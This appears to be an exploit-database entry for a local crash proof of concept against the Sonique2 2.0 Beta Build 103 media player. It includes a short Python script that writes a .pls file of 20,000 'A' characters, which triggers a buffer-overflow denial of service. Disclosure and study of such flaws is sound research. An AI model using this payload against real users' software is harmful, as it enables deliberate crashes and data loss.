header-logo
Suggest Exploit
vendor:
Sonique2 2.0 Beta Build 103
by:
b0telh0
7,5
CVSS
HIGH
Buffer Overflow
120 (Buffer Copy without Checking Size of Input)
CWE
Product Name: Sonique2 2.0 Beta Build 103
Affected Version From: 2.0 Beta Build 103
Affected Version To: 2.0 Beta Build 103
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
Found in 2020

Sonique2 2.0 Beta Build 103 Local Crash PoC

This PoC exploits a buffer overflow vulnerability in Sonique2 2.0 Beta Build 103. By creating a specially crafted .pls file containing an overly long string of 'A' characters, an attacker can cause a denial of service condition when the file is opened.

Mitigation:

Upgrade to the latest version of Sonique2 2.0 Beta Build 103 or later.
Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Title: Sonique2 2.0 Beta Build 103 Local Crash PoC
# Found by: b0telh0
# Tested on: Windows XP SP3


crash = "\x41" * 20000

try:
     file = open('b0t.pls','w');
     file.write(crash);
     file.close();
     print "[+] Created b0t.pls file."
except:
     print "[-] Error cant write file to system."

Navigation

Suggest Exploit

Services By CQR